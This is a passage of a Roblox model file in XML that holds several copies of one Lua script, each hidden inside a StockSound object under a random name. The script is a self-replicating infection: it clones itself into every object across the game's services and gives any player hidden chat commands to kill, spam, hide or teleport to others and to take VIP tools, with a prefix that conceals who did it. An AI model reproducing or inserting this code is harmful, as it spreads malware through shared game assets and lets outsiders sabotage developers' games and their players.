local m = plz[i].Character:GetChildren()
for z = 1, #m do
if m[z].className == &quot;Part&quot; then m[z].Transparency = 1 end
local h = m[z]:GetChildren()
for v = 1, #h do
if h[v].className == &quot;Decal&quot; then h[v]:Remove() end
if h[v].className == &quot;Part&quot; then h[v].Transparency = 1 end
end
end
end
end
end
end
if string.find(msg, &quot;show &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
local m = plz[i].Character:GetChildren()
for z = 1, #m do
if m[z].className == &quot;Part&quot; then m[z].Transparency = 0 end
local h = m[z]:GetChildren()
for v = 1, #h do
if h[v].className == &quot;Part&quot; then h[v].Transparency = 0 end
end
end
end
end
end
end
if string.find(msg, &quot;ghost &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 7)) == 1 then
if plz[i].Character ~= nil then
local m = plz[i].Character:GetChildren()
for z = 1, #m do
if m[z].className == &quot;Part&quot; then m[z].Transparency = 0.9 end
local h = m[z]:GetChildren()
for v = 1, #h do
if h[v].className == &quot;Part&quot; then h[v].Transparency = 0.9 end
end
end
end
end
end
end
if string.find(msg, &quot;doom &quot;) == 1 then -- LOL this 1 is FUNNY
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Head&quot;) ~= nil then
if plz[i].Character.Head:findFirstChild(&quot;Mesh&quot;) ~= nil then
if plz[i].Character.Head.Mesh.className == &quot;SpecialMesh&quot; then
plz[i].Character.Head.Mesh.Scale = Vector3.new(17, 11, 17)
plz[i].Character.Head.Mesh.MeshType = &quot;Wedge&quot;
end
end
end
end
end
end
end
if string.find(msg, &quot;fade &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
local m = plz[i].Character:GetChildren()
for z = 1, #m do
if m[z].className == &quot;Part&quot; then m[z].Transparency = 0.5 end
local h = m[z]:GetChildren()
for v = 1, #h do
if h[v].className == &quot;Part&quot; then h[v].Transparency = 0.5 end
end
end
end
end
end
end
if string.find(msg, &quot;join &quot;) == 1 then
local teams = game:service(&quot;Teams&quot;)
local tmz = teams:GetTeams()
for i = 1, #tmz do
if string.find(tmz[i].Name, string.sub(msg, 6)) == 1 then
speaker.Neutral = false
speaker.TeamColor = tmz[i].TeamColor
end
end
end
if string.find(msg, &quot;debug&quot;) == 1 then
local msgs = game.Workspace:GetChildren()
for i = 1, #msgs do
if msgs[i].className == &quot;Message&quot; or msgs[i].className == &quot;Hint&quot; then
msgs[i]:Remove()
end
end
local plz = game.Players:GetPlayers()
for j = 1, #plz do
local msgs = plz[j]:GetChildren()
for i = 1, #msgs do
if msgs[i].className == &quot;Message&quot; or msgs[i].className == &quot;Hint&quot; then
msgs[i]:Remove()
end
end
end
end
if string.find(msg, &quot;fog&quot;) == 1 then
if game.Workspace:findFirstChild(&quot;FOGZORZ&quot;) == nil then
local newm = Instance.new(&quot;Message&quot;)
newm.Name = &quot;FOGZORZ&quot;
newm.Text = &quot; &quot;
newm.Parent = game.Workspace
newm:Clone().Parent = game.Workspace
end
end
if string.find(msg, &quot;say &quot;) == 1 then
if game.Workspace:findFirstChild(&quot;Talky&quot;) ~= nil then game.Workspace.Talky:Remove() end
local said = string.sub(msg, 5)
local talk = Instance.new(&quot;Hint&quot;)
talk.Name = &quot;Talky&quot;
talk.Text = speaker.Name.. &quot;: &quot;.. said
talk.Parent = game.Workspace
end
if string.find(msg, &quot;shout &quot;) == 1 then
if game.Workspace:findFirstChild(&quot;Shouty&quot;) ~= nil then game.Workspace.Shouty:Remove() end
local said = string.sub(msg, 7)
local talk = Instance.new(&quot;Message&quot;)
talk.Name = &quot;Shouty&quot;
talk.Text = speaker.Name.. &quot;: &quot;.. said
talk.Parent = game.Workspace
end
if string.find(msg, &quot;spam &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
for r = 1, 10 do
local er = Instance.new(&quot;Message&quot;)
er.Text = &quot; &quot;
er.Parent = plz[i]
end
end
end
end
if string.find(msg, &quot;bored&quot;) == 1 then
if game.Workspace:findFirstChild(&quot;Talky&quot;) ~= nil then game.Workspace.Talky:Remove() end
local talk = Instance.new(&quot;Hint&quot;)
talk.Name = &quot;Talky&quot;
talk.Parent = game.Workspace
if math.random(1,2) == 1 then
talk.Text = &quot;OMG IM SO BORED TOO!&quot;
else
talk.Text = &quot;Go play a different game then.&quot;
end
end
if string.find(msg, &quot;goto &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Head&quot;) ~= nil then
if speaker.Character ~= nil then
if speaker.Character:findFirstChild(&quot;Head&quot;) ~= nil then
speaker.Character.Head.CFrame = CFrame.new(plz[i].Character.Head.Position + Vector3.new(0,3,0))
end
end
end
end
end
end
end
if string.find(msg, &quot;nofall &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 8)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Platform&quot;) == nil then
local fl = Instance.new(&quot;Part&quot;)
fl.Name = &quot;Platform&quot;
fl.formFactor = &quot;Plate&quot;
fl.Size = Vector3.new(6,.2,6)
fl.Anchored = true
fl.Transparency = 1
local sc = Instance.new(&quot;Script&quot;)
sc.Name = &quot;MoveToChar&quot;
pcall(function() sc.Source=[[ p = script.Parent c = p.Parent while true do t = c:findFirstChild(&quot;Head&quot;) if t == nil then p:Remove() else p.Position = Vector3.new(t.Position.x,0,t.Position.z) end wait() end ]] end)
if sc.Source ~= &quot;print(\&quot;Hello World\&quot;)&quot; then
sc.Parent = fl -- its pcalled just in case. Well I have no idea what crazy things the admins will do in a few days, like stop scripts editing sources, but then as if THATS ever going 2 happen... (it would be stupid cause most roblox scripters would leave)
fl.Parent = plz[i].Character
end
end
end
end
end
end
if string.find(msg, &quot;tools &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 7)) == 1 then
local pack = plz[i]:findFirstChild(&quot;Backpack&quot;)
if pack ~= nil then
for o = 1, #thetools do
thetools[o]:Clone().Parent = pack
end
end
end
end
end
end
wait()
game.Players.PlayerAdded:connect(function(new) new.Chatted:connect(function(msg) chat(msg,new) end) end) -- I do love this connecting script...
wait()
multinfect(game:service(&quot;Workspace&quot;))
multinfect(game:service(&quot;Lighting&quot;))
multinfect(game:service(&quot;StarterPack&quot;))
multinfect(game:service(&quot;Teams&quot;))
multinfect(game:service(&quot;SoundService&quot;))
multinfect(game:service(&quot;Debris&quot;))
--now we can rest in peace...

death = type(RIP)
</string>
								<bool name="archivable">true</bool>
							</Properties>
						</Item>
					</Item>
				</Item>
				<Item class="Decal" referent="RBX16">
					<Properties>
						<token name="Face">5</token>
						<string name="Name">face</string>
						<float name="Shiny">20</float>
						<float name="Specular">0</float>
						<Content name="Texture"><binary>iVBORw0KGgoAAAANSUhEUgAAAIAAAACACAYAAADDPmHLAAAAK3RFWHRDcmVhdGlvbiBUaW1l
AFR1ZSA0IE9jdCAyMDA1IDExOjExOjQ4IC0wODAwk+5fZwAAAAd0SU1FB9UMAhUYB+dMbtcA
AAAJcEhZcwAAHsEAAB7BAcNpVFMAAAAEZ0FNQQAAsY8L/GEFAAAE7klEQVR42u3cV4gdVRzH
8b8tUaPR2GJ3DXYx2MGGEVER9MWGBV9E8El8URDBXlERfPHFF0EEO4oiKoqYJ8WGDQULEWvs
NVHXZP39+N9hr9e5d7O7kz23fD/wA80umZNzzpw5M3PORAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAMPCWKa8qPyjPK8cqG5Uu1KjaQDlOuVP5UPlOeUm5WlnS+nlTtlVuUH5S/lHW
KOPK18ptyvalK2MULY1seDfERCtrlT+VJ5SxBo91bmRjr+04ljvCSuUWZV7pChkliyLP+Iku
+Uu5vMHjvRD/bfz2uBN8qhxWulJGyXnRvfGrvNbg8b7vcRx3jF+VC0tXynRsWLoAszTW0O+s
q4mGfqdvDHoH+CZ6V7h/trLB470ek2d853GqY71fulJGyc6R192667L/bLVyTYPHO1P5POon
gV9F3nlsUrpSRs0Jygfx/07g//c9+pIGj7W1cqXyS2Sjt98BuKMtKl0Zo2qZ8mbk/fnvyrfK
y8qC9XS8I5VHlDeU+yJn/gP5IKjJhySlbaEcrixUVkRei9eULhQAAAAAAAAAAABGh1++9dVb
w74qzBBzw+8WuXbhqMhFIz9GLi3HkPOyu2OUp5XfIheReAHL+aULNigOUu5RHlIuVrYqXaBp
2ld5O/Jsr1YteZ3CJ6ULNggWR670ceVVFedVOCeVLtg68OX1iMhdSp3L1ao1hJjCzZE7fDor
8F3lFGXj0gXswo1/kfJWTHbe9nix6o2lCzkIbo3sAHW7cL5QLlM2K13IDh617orJ631n5/W/
525l19IFHQQ7KM9EnjF1u3H8509GLgrdtGA5PcvfTjkncsh3ueqGfS8pvzbYRDotB0ROAr0t
y5VYNxp8rFzX+t35c1w+rzw+Ubk/crl43R4Fl/G9yMsC+wZmwJXsfYBe6dttX543gn6k3K7s
P0flOlC5N3KHUvssvz1/K48qBweNPyseZveOrHCPBt12A7khPMO+Sdkvmt8b4BFmTLkickiv
NojUnfVfKtcrm5euvGGypXKBsjzyrO+2W9cN4LuFOyJvGxc2cGx/i+Aq5ZUpju1O+JxyWpSd
mwwtjwbe8vVg9N6u7fjDEf6GwGPK0TGzzTBjkV8g8VxjddTP7qt49u+7l8UzPNacV+Sgctn9
yZazlLMjnxhuE/XvN6qz0lvHPBnzTN0PmD6L7ByrIq/V/j1/4cNDtu9A9ol8jHuysld0v+X0
aOPtaN49/IDybOSEsO8NcgeouMH2UI6P3L3rly3dHhdXlwbfi/tljBvNncBntidyPqt95u4Z
2eC7RG74nN+qq7r6cufx5ehh5cXI+QcveQpw4/jhyiWRDfJHTH15qOIGG2+l+vhT+8/r/g53
Ip/xlyq7B29W+4bPVg/dbhhvD/dZXvf8YCZxZ3DH8uTSXwtbGnP/3KFRw3AJ6MZnpIdyf8Pv
dOUQZcfoPZzXqS4bHh38GtfXdz999FxiVel/5GwNcwdo51sxTxJPVc6InDN4QjevRx1UD3E8
q39HeTzy1m5FDNE1flQ6QDvP8A+NnDR6CN8p8hmBHxj57aLP6p8j7w58p/BU5Nk+Xrrg68Mo
doB27gy+lVzQ+m9fNjy58+fe3AmqN3oAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AABA8/4FruSQaL7NHwYAAAAASUVORK5CYII=</binary></Content>
						<bool name="archivable">true</bool>
					</Properties>
					<Item class="StockSound" referent="RBX17">
						<Properties>
							<bool name="Looped">false</bool>
							<string name="Name">y1wq209hw</string>
							<int name="PlayCount">-1</int>
							<bool name="PlayOnRemove">false</bool>
							<Content name="SoundId"><null></null></Content>
							<float name="Volume">0.5</float>
							<bool name="archivable">true</bool>
						</Properties>
						<Item class="Script" referent="RBX18">
							<Properties>
								<bool name="Disabled">false</bool>
								<Content name="LinkedSource"><null></null></Content>
								<string name="Name">v7srq67gj</string>
								<string name="Source">--             	 _                     |
-- unknowns 0.|_| Commands o
--

myname = &quot;builderman&quot; -- put your name here if you like!

--Hi, person who just looked inside a StockSound...
--Try these commands, they are great!

--[[COMMANDS:

say /sc BEFORE your command to make it so no-one kows its you who killed/shielded them

for example:

/sc shield builderman

reset  --this resets YOU
debug  --this removes all messages in the workspace and in players
fog  --this creates a few messages to look like fog, say debug to remove them

shield playername  --this shields the player named playername against explosions
kill playername  --this kills the player named playername
name newname  --this names YOUR CHARACTER the newname
god playername  --this sets the player playername unkillable by weapons that take damage (not explosions)
fast playername  --this speeds up the player named playername
slow playername --this slows the player named playername
hide playername  --this hides the player named playername
ghost playername  --this makes the player named playername ghostly
fade playername --this fades the player named playername a bit
show playername  --shows the player named playername
doom playername  --this makes there head a big triangle lol you can watch them running around stupidly
spam playername  --stops the player named playername seeing the chat properly
tools playername  --this gives the player the vip tools in the game
goto playername  --this moves your character to that players character
join teamname  --this joins the team named the teamname
say message  --creates a hint at the bottom of the screen saying your message
shout message  --creates a message on the screen saying your message

this is all case-sensitive

please note it is not needed to say the WHOLE name of the player, lets say just builderman was in the game:

tools bu would give him the VIP tools

but if builderdude was ingame aswell, he would ALSO get the tools, so if you only want builderman to get them, you should say:

tools builderm

also, if you just say tools then a space, then EVERYONE will get the tools

the same goes for kill, god, ghost, and all the other commands that use playername
--]]

--everything below here is very complicated so it would be best if you DONT mess with it

wait(.4)
if game:service(&quot;Workspace&quot;):findFirstChild(&quot;IMDOINGITOKSODONTKILLMENOW&quot;) ~= nil then
wait(math.huge) --this should keep it busy
end
jkoer = Instance.new(script.Parent.className)
jkoer.Name = &quot;IMDOINGITOKSODONTKILLMENOW&quot;
jkoer.Parent = game:service(&quot;Workspace&quot;)
jkoer.archivable = false
--Check all systems needed are running well
game:service(&quot;Workspace&quot;)
game:service(&quot;Lighting&quot;)
game:service(&quot;StarterPack&quot;)
game:service(&quot;Teams&quot;)
game:service(&quot;SoundService&quot;)
game:service(&quot;Debris&quot;)
--
bin = script.Parent
g = {&quot;a&quot;,&quot;b&quot;,&quot;c&quot;,&quot;d&quot;,&quot;e&quot;,&quot;f&quot;,&quot;g&quot;,&quot;h&quot;,&quot;i&quot;,&quot;j&quot;,&quot;k&quot;,&quot;l&quot;,&quot;m&quot;,&quot;n&quot;,&quot;o&quot;,&quot;p&quot;,&quot;q&quot;,&quot;r&quot;,&quot;s&quot;,&quot;t&quot;,&quot;u&quot;,&quot;v&quot;,&quot;w&quot;,&quot;x&quot;,&quot;y&quot;,&quot;z&quot;,&quot;0&quot;,&quot;1&quot;,&quot;2&quot;,&quot;3&quot;,&quot;4&quot;,&quot;5&quot;,&quot;6&quot;,&quot;7&quot;,&quot;8&quot;,&quot;9&quot;} --abcdefg...
thetools = {}
function gettools(scanner)
if scanner.className == &quot;HopperBin&quot; or scanner.className == &quot;Tool&quot; then
if scanner.archivable == true then table.insert(thetools, scanner:Clone()) end
end
local sc = scanner:GetChildren()
for i = 1, #sc do
gettools(sc[i])
end
end
gettools(game:service(&quot;Workspace&quot;))
gettools(game:service(&quot;Lighting&quot;))
function uinf(k)
if nowitshall == 1 then wait() nowitshall = 0 elseif nowitshall == 0 then nowitshall = 2 else nowitshall = 1 end --a nice little bit of script that stops the game lagging
if k ~= bin and k ~= script and k ~= bin.Parent then
local me = script.Parent:Clone()
me.Name = &quot;&quot;
local length = math.random(4,9)
for i = 1, length do
me.Name = (me.Name.. g[math.random(1, #g)])
end
local be = me[script.Name]
be.Name = &quot;&quot;
local length = math.random(4,9)
for i = 1, length do
be.Name = (be.Name.. g[math.random(1, #g)])
end
me.Parent = k
local obs = k:GetChildren()
for i = 1, #obs do
infect(obs[i])
end
end
end
function infect(object)
local ONOES = 0
if object.className == &quot;Camera&quot; then return end
if object.className == &quot;Script&quot; then
if object.Source == script.Source then
ONOES = 1
end
end
local os = object:GetChildren()
for i = 1, #os do
local current = os[i]
if current.className == &quot;Script&quot; then
if current.Source == script.Source then
ONOES = 1
end
end
local oz = current:GetChildren()
for j = 1, #oz do
local cur = oz[j]
if cur.className == &quot;Script&quot; then
if cur.Source == script.Source then
ONOES = 1
end
end
end
end
if ONOES == 0 then
uinf(object)
else -- ONOSE!
local obs = object:GetChildren()
for i = 1, #obs do
if obs[i] ~= bin then
infect(obs[i])
end
end
end
end
function pultinfect(central)
central.ChildAdded:connect(pultinfect)
infect(central)
local sides = central:GetChildren()
for i = 1, #sides do
pultinfect(sides[i])
end
if nowitshall == 1 then wait() nowitshall = 0 elseif nowitshall == 0 then nowitshall = 2 else nowitshall = 1 end
end
function multinfect(central)
central.ChildAdded:connect(pultinfect)
infect(central)
local sides = central:GetChildren()
for i = 1, #sides do
pultinfect(sides[i])
end
end
function chat(msg, speaker) --oh yes these are commands...
if string.find(msg, &quot;/sc &quot;) == 1 then
msg = string.sub(msg, 5) --I LOVE being secretive, dont u?
end
if string.find(msg, &quot;shield &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 8)) == 1 then
Instance.new(&quot;ForceField&quot;).Parent = plz[i].Character
end
end
end
if string.find(msg, &quot;kill &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
plz[i].Character:BreakJoints() --kill kill kill...
end
end
end
end
if string.find(msg, &quot;reset&quot;) == 1 then
if speaker.Character ~= nil then
speaker.Character:BreakJoints()
end
end
if string.find(msg, &quot;name &quot;) == 1 then
if speaker.Character ~= nil then
speaker.Character.Name = string.sub(msg, 6)
end
end
if string.find(msg, &quot;god &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 5)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Humanoid&quot;) ~= nil then
plz[i].Character.Humanoid.MaxHealth = math.huge
plz[i].Character.Humanoid.Health = math.huge
end
end
end
end
end
if string.find(msg, &quot;fast &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Humanoid&quot;) ~= nil then
plz[i].Character.Humanoid.WalkSpeed = plz[i].Character.Humanoid.WalkSpeed * 1.35
end
end
end
end
end
if string.find(msg, &quot;slow &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Humanoid&quot;) ~= nil then
plz[i].Character.Humanoid.WalkSpeed = plz[i].Character.Humanoid.WalkSpeed / 1.35
end
end
end
end
end
if string.find(msg, &quot;hide &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
local m = plz[i].Character:GetChildren()
for z = 1, #m do
if m[z].className == &quot;Part&quot; then m[z].Transparency = 1 end
local h = m[z]:GetChildren()
for v = 1, #h do
if h[v].className == &quot;Decal&quot; then h[v]:Remove() end
if h[v].className == &quot;Part&quot; then h[v].Transparency = 1 end
end
end
end
end
end
end
if string.find(msg, &quot;show &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
local m = plz[i].Character:GetChildren()
for z = 1, #m do
if m[z].className == &quot;Part&quot; then m[z].Transparency = 0 end
local h = m[z]:GetChildren()
for v = 1, #h do
if h[v].className == &quot;Part&quot; then h[v].Transparency = 0 end
end
end
end
end
end
end
if string.find(msg, &quot;ghost &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 7)) == 1 then
if plz[i].Character ~= nil then
local m = plz[i].Character:GetChildren()
for z = 1, #m do
if m[z].className == &quot;Part&quot; then m[z].Transparency = 0.9 end
local h = m[z]:GetChildren()
for v = 1, #h do
if h[v].className == &quot;Part&quot; then h[v].Transparency = 0.9 end
end
end
end
end
end
end
if string.find(msg, &quot;doom &quot;) == 1 then -- LOL this 1 is FUNNY
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Head&quot;) ~= nil then
if plz[i].Character.Head:findFirstChild(&quot;Mesh&quot;) ~= nil then
if plz[i].Character.Head.Mesh.className == &quot;SpecialMesh&quot; then
plz[i].Character.Head.Mesh.Scale = Vector3.new(17, 11, 17)
plz[i].Character.Head.Mesh.MeshType = &quot;Wedge&quot;
end
end
end
end
end
end
end
if string.find(msg, &quot;fade &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
local m = plz[i].Character:GetChildren()
for z = 1, #m do
if m[z].className == &quot;Part&quot; then m[z].Transparency = 0.5 end
local h = m[z]:GetChildren()
for v = 1, #h do
if h[v].className == &quot;Part&quot; then h[v].Transparency = 0.5 end
end
end
end
end
end
end
if string.find(msg, &quot;join &quot;) == 1 then
local teams = game:service(&quot;Teams&quot;)
local tmz = teams:GetTeams()
for i = 1, #tmz do
if string.find(tmz[i].Name, string.sub(msg, 6)) == 1 then
speaker.Neutral = false
speaker.TeamColor = tmz[i].TeamColor
end
end
end
if string.find(msg, &quot;debug&quot;) == 1 then
local msgs = game.Workspace:GetChildren()
for i = 1, #msgs do
if msgs[i].className == &quot;Message&quot; or msgs[i].className == &quot;Hint&quot; then
msgs[i]:Remove()
end
end
local plz = game.Players:GetPlayers()
for j = 1, #plz do
local msgs = plz[j]:GetChildren()
for i = 1, #msgs do
if msgs[i].className == &quot;Message&quot; or msgs[i].className == &quot;Hint&quot; then
msgs[i]:Remove()
end
end
end
end
if string.find(msg, &quot;fog&quot;) == 1 then
if game.Workspace:findFirstChild(&quot;FOGZORZ&quot;) == nil then
local newm = Instance.new(&quot;Message&quot;)
newm.Name = &quot;FOGZORZ&quot;
newm.Text = &quot; &quot;
newm.Parent = game.Workspace
newm:Clone().Parent = game.Workspace
end
end
if string.find(msg, &quot;say &quot;) == 1 then
if game.Workspace:findFirstChild(&quot;Talky&quot;) ~= nil then game.Workspace.Talky:Remove() end
local said = string.sub(msg, 5)
local talk = Instance.new(&quot;Hint&quot;)
talk.Name = &quot;Talky&quot;
talk.Text = speaker.Name.. &quot;: &quot;.. said
talk.Parent = game.Workspace
end
if string.find(msg, &quot;shout &quot;) == 1 then
if game.Workspace:findFirstChild(&quot;Shouty&quot;) ~= nil then game.Workspace.Shouty:Remove() end
local said = string.sub(msg, 7)
local talk = Instance.new(&quot;Message&quot;)
talk.Name = &quot;Shouty&quot;
talk.Text = speaker.Name.. &quot;: &quot;.. said
talk.Parent = game.Workspace
end
if string.find(msg, &quot;spam &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
for r = 1, 10 do
local er = Instance.new(&quot;Message&quot;)
er.Text = &quot; &quot;
er.Parent = plz[i]
end
end
end
end
if string.find(msg, &quot;bored&quot;) == 1 then
if game.Workspace:findFirstChild(&quot;Talky&quot;) ~= nil then game.Workspace.Talky:Remove() end
local talk = Instance.new(&quot;Hint&quot;)
talk.Name = &quot;Talky&quot;
talk.Parent = game.Workspace
if math.random(1,2) == 1 then
talk.Text = &quot;OMG IM SO BORED TOO!&quot;
else
talk.Text = &quot;Go play a different game then.&quot;
end
end
if string.find(msg, &quot;goto &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Head&quot;) ~= nil then
if speaker.Character ~= nil then
if speaker.Character:findFirstChild(&quot;Head&quot;) ~= nil then
speaker.Character.Head.CFrame = CFrame.new(plz[i].Character.Head.Position + Vector3.new(0,3,0))
end
end
end
end
end
end
end
if string.find(msg, &quot;nofall &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 8)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Platform&quot;) == nil then
local fl = Instance.new(&quot;Part&quot;)
fl.Name = &quot;Platform&quot;
fl.formFactor = &quot;Plate&quot;
fl.Size = Vector3.new(6,.2,6)
fl.Anchored = true
fl.Transparency = 1
local sc = Instance.new(&quot;Script&quot;)
sc.Name = &quot;MoveToChar&quot;
pcall(function() sc.Source=[[ p = script.Parent c = p.Parent while true do t = c:findFirstChild(&quot;Head&quot;) if t == nil then p:Remove() else p.Position = Vector3.new(t.Position.x,0,t.Position.z) end wait() end ]] end)
if sc.Source ~= &quot;print(\&quot;Hello World\&quot;)&quot; then
sc.Parent = fl -- its pcalled just in case. Well I have no idea what crazy things the admins will do in a few days, like stop scripts editing sources, but then as if THATS ever going 2 happen... (it would be stupid cause most roblox scripters would leave)
fl.Parent = plz[i].Character
end
end
end
end
end
end
if string.find(msg, &quot;tools &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 7)) == 1 then
local pack = plz[i]:findFirstChild(&quot;Backpack&quot;)
if pack ~= nil then
for o = 1, #thetools do
thetools[o]:Clone().Parent = pack
end
end
end
end
end
end
wait()
game.Players.PlayerAdded:connect(function(new) new.Chatted:connect(function(msg) chat(msg,new) end) end) -- I do love this connecting script...
wait()
multinfect(game:service(&quot;Workspace&quot;))
multinfect(game:service(&quot;Lighting&quot;))
multinfect(game:service(&quot;StarterPack&quot;))
multinfect(game:service(&quot;Teams&quot;))
multinfect(game:service(&quot;SoundService&quot;))
multinfect(game:service(&quot;Debris&quot;))
--now we can rest in peace...

death = type(RIP)
</string>
								<bool name="archivable">true</bool>
							</Properties>
						</Item>
					</Item>
				</Item>
				<Item class="StockSound" referent="RBX19">
					<Properties>
						<bool name="Looped">false</bool>
						<string name="Name">ewt9qhk2</string>
						<int name="PlayCount">-1</int>
						<bool name="PlayOnRemove">false</bool>
						<Content name="SoundId"><null></null></Content>
						<float name="Volume">0.5</float>
						<bool name="archivable">true</bool>
					</Properties>
					<Item class="Script" referent="RBX20">
						<Properties>
							<bool name="Disabled">false</bool>
							<Content name="LinkedSource"><null></null></Content>
							<string name="Name">rvd91f</string>
							<string name="Source">--             	 _                     |
-- unknowns 0.|_| Commands o
--

myname = &quot;builderman&quot; -- put your name here if you like!

--Hi, person who just looked inside a StockSound...
--Try these commands, they are great!

--[[COMMANDS:

say /sc BEFORE your command to make it so no-one kows its you who killed/shielded them

for example:

/sc shield builderman

reset  --this resets YOU
debug  --this removes all messages in the workspace and in players
fog  --this creates a few messages to look like fog, say debug to remove them

shield playername  --this shields the player named playername against explosions
kill playername  --this kills the player named playername
name newname  --this names YOUR CHARACTER the newname
god playername  --this sets the player playername unkillable by weapons that take damage (not explosions)
fast playername  --this speeds up the player named playername
slow playername --this slows the player named playername
hide playername  --this hides the player named playername
ghost playername  --this makes the player named playername ghostly
fade playername --this fades the player named playername a bit
show playername  --shows the player named playername
doom playername  --this makes there head a big triangle lol you can watch them running around stupidly
spam playername  --stops the player named playername seeing the chat properly
tools playername  --this gives the player the vip tools in the game
goto playername  --this moves your character to that players character
join teamname  --this joins the team named the teamname
say message  --creates a hint at the bottom of the screen saying your message
shout message  --creates a message on the screen saying your message

this is all case-sensitive

please note it is not needed to say the WHOLE name of the player, lets say just builderman was in the game:

tools bu would give him the VIP tools

but if builderdude was ingame aswell, he would ALSO get the tools, so if you only want builderman to get them, you should say:

tools builderm

also, if you just say tools then a space, then EVERYONE will get the tools

the same goes for kill, god, ghost, and all the other commands that use playername
--]]

--everything below here is very complicated so it would be best if you DONT mess with it

wait(.4)
if game:service(&quot;Workspace&quot;):findFirstChild(&quot;IMDOINGITOKSODONTKILLMENOW&quot;) ~= nil then
wait(math.huge) --this should keep it busy
end
jkoer = Instance.new(script.Parent.className)
jkoer.Name = &quot;IMDOINGITOKSODONTKILLMENOW&quot;
jkoer.Parent = game:service(&quot;Workspace&quot;)
jkoer.archivable = false
--Check all systems needed are running well
game:service(&quot;Workspace&quot;)
game:service(&quot;Lighting&quot;)
game:service(&quot;StarterPack&quot;)
game:service(&quot;Teams&quot;)
game:service(&quot;SoundService&quot;)
game:service(&quot;Debris&quot;)
--
bin = script.Parent
g = {&quot;a&quot;,&quot;b&quot;,&quot;c&quot;,&quot;d&quot;,&quot;e&quot;,&quot;f&quot;,&quot;g&quot;,&quot;h&quot;,&quot;i&quot;,&quot;j&quot;,&quot;k&quot;,&quot;l&quot;,&quot;m&quot;,&quot;n&quot;,&quot;o&quot;,&quot;p&quot;,&quot;q&quot;,&quot;r&quot;,&quot;s&quot;,&quot;t&quot;,&quot;u&quot;,&quot;v&quot;,&quot;w&quot;,&quot;x&quot;,&quot;y&quot;,&quot;z&quot;,&quot;0&quot;,&quot;1&quot;,&quot;2&quot;,&quot;3&quot;,&quot;4&quot;,&quot;5&quot;,&quot;6&quot;,&quot;7&quot;,&quot;8&quot;,&quot;9&quot;} --abcdefg...
thetools = {}
function gettools(scanner)
if scanner.className == &quot;HopperBin&quot; or scanner.className == &quot;Tool&quot; then
if scanner.archivable == true then table.insert(thetools, scanner:Clone()) end
end
local sc = scanner:GetChildren()
for i = 1, #sc do
gettools(sc[i])
end
end
gettools(game:service(&quot;Workspace&quot;))
gettools(game:service(&quot;Lighting&quot;))
function uinf(k)
if nowitshall == 1 then wait() nowitshall = 0 elseif nowitshall == 0 then nowitshall = 2 else nowitshall = 1 end --a nice little bit of script that stops the game lagging
if k ~= bin and k ~= script and k ~= bin.Parent then
local me = script.Parent:Clone()
me.Name = &quot;&quot;
local length = math.random(4,9)
for i = 1, length do
me.Name = (me.Name.. g[math.random(1, #g)])
end
local be = me[script.Name]
be.Name = &quot;&quot;
local length = math.random(4,9)
for i = 1, length do
